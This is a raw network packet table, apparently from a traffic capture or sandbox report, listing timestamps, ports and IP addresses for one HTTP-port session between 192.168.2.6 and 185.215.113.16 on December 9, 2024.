Dec 9, 2024 18:20:52.750616074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.751209021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.751221895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.751250029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.751269102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.751403093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.751442909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.752266884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.752279043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.752310991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.752321959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.752690077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.752732038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.752815962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.752857924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.753262997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.753304958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.753431082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.753472090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.753952980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.754007101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.754643917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.754693031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.754847050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.754858971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.754889965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.755589008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.755635023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.755660057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.755703926 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.756186962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.756228924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.756375074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.756421089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.757040024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.757050991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.757086992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.757654905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.757705927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.914324999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.914434910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.914462090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.914514065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.914608955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.914659977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.914679050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.914729118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.914973021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.915020943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.915332079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.915380955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.915488958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.915537119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.916081905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.916131973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.916517973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.916587114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.916754961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.916801929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.916973114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.917022943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.917445898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.917493105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.917558908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.917603970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.918488979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.918500900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.918538094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.919392109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.919404030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.919442892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.919835091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.919883966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.919950008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.919997931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.920133114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.920145035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.920185089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.921017885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.921030045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.921072006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.921411991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.921458006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.921817064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.921868086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.922200918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.922213078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.922250986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.923002958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.923018932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.923052073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.923084021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.923417091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.923465014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.923547029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.923595905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.924050093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.924094915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.924253941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.924303055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.924834013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.924844980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.924886942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.925244093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.925348997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.925370932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.925417900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.926000118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.926055908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.926141024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.926191092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.927014112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.927062988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.927244902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.927289963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.927448034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.927498102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.927520037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.927565098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.927916050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.927961111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.928026915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.928073883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.928890944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.928903103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.928945065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.929372072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.929418087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.929641008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.929692984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.930124998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.930175066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.930197001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.930243015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.930932045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.930977106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.931256056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.931303024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.931435108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.931483030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.931602955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.931644917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.931915045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.931962967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.932051897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.932099104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.932662010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.932708979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.932766914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.932815075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.933398008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.933408022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.933454037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.933964014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.934007883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.934123993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.934171915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.934695959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.934742928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.934900045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.934948921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.935559988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.935570955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.935650110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.935997963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.936045885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.936067104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.936108112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.936610937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.936681986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.936798096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.936852932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.937592983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.937635899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.937649012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.937685013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.938060045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.938111067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.938189983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.938244104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.938735008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.938787937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.938827038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.938869953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.949273109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.949347973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.949412107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.949460983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.949626923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.949635983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.949681044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.950113058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.950124025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.950167894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.950783968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.950793028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.950803041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.950829029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.950851917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.951663017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.951674938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.951683998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.951714993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.951738119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.952646017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.952655077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.952665091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.952673912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.952693939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.952728987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.953583956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.953593969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.953638077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.954503059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.954551935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.954561949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.954582930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.954593897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.954602003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.954617023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.954624891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.954636097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.954662085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.955477953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.955532074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.955545902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.955591917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.956310987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.956326008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.956345081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.956353903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.956363916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.956372976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.956381083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:52.956402063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:52.956434965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.106934071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.107063055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.107111931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.107136965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.107326031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.107376099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.107455015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.107500076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.107906103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.107958078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.108122110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.108170033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.108537912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.108583927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.108664989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.108705044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.109445095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.109493971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.109642029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.109694004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.109991074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.110044956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.110192060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.110241890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.110611916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.110661030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.110721111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.110766888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.111306906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.111350060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.111371040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.111413956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.111860037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.111907005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.112037897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.112088919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.112554073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.112601042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.112663031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.112709045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.113231897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.113276005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.113379955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.113425016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.113910913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.113960028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.114023924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.114069939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.114509106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.114557981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.114634991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.114681005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.115190983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.115237951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.115324020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.115370989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.115853071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.115905046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.115992069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.116040945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.116553068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.116600990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.116743088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.116791964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.117286921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.117335081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.117389917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.117435932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.118038893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.118088961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.118235111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.118283987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.118958950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.119005919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.119077921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.119126081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.119642019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.119693041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.119774103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.119821072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.120306969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.120353937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.120385885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.120431900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.120981932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.121025085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.121043921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.121088028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.121712923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.121792078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.122024059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.122071981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.122487068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.122533083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.122556925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.122601986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.123095989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.123141050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.123156071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.123197079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.123614073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.123660088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.123720884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.123769999 CET	49828	80	192.168.2.6	185.215.113.16
